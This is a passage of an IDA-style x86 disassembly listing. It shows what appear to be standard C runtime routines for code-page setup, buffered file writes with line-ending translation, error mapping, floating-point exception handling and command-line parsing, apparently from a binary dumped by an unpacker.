short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_4CEDFC, 1 push eax mov dword_4CEDE4, eax call sub_41EB10 lea esi, dword_436014[esi] mov edi, offset dword_4CEDF0 movsd movsd pop ecx mov dword_4CF004, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_4CEF01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_4CF004, eax mov dword_4CEDFC, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_4CEDFC, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_4CEDF0 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_4CDA64, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4CDA64, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_4CDA64, 1 nop jmp near ptr 2610333h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_4CDA64, 1 nop jmp near ptr 2881B00h ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_4CDA58 mov dword_4CDA64, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4CEF00 rep stosd stosb xor eax, eax mov edi, offset dword_4CEDF0 mov dword_4CEDE4, eax mov dword_4CEDFC, eax mov dword_4CF004, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4CEDE4 nop call near ptr 2881305h cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_4CF004 push dword_4CEDE4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4CF004 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4CF004 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_4CEF01[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_4CEE00[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_4CEF01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_4CEE00[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_4CEF01[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_4CEE00[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_4CEF01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_4CEE00[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_4CF034, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_4CF034, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4CEDFC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4CEF01[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4CEDE0 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2640000h test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_4CD9B4, 9 mov dword_4CD9B8, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j call near ptr 2650B3Dh nop mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 2640000h nop test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j nop call near ptr 2650B3Dh mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_4CD9B4, 1Ch mov dword_4CD9B8, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4CD9B8, ecx mov eax, offset dword_436100 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_436268 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_4CD9B4, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_436104[edx*8] mov dword_4CD9B4, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_4CD9B4, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_4CD9B4, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_4CDA68 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4CDA68, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_4362E0 mov edx, dword_4362E4 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:436270h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_4362EC cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_4362EC, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_4362EC, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_4362EC, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_4362EC, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_4362EC, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_4362EC, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_4362EC, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_4362EC push 8 call ebx pop ecx mov dword_4362EC, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_4CDA68, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 2610000h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_436268, edx push esi mov eax, offset dword_436268 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_4CF034, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_4CF02C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_4CDA00 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_4CD9DC, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_4CDA00 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_4CDA00 call sub_417C3B pop ecx mov dword_4CDA00, ebx mov [esi], ebx pop edi pop esi mov dword_4CF030, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4CF02C mov off_4CD9EC, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4CD9D4, esi pop edi pop esi mov dword_4CD9D0, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi 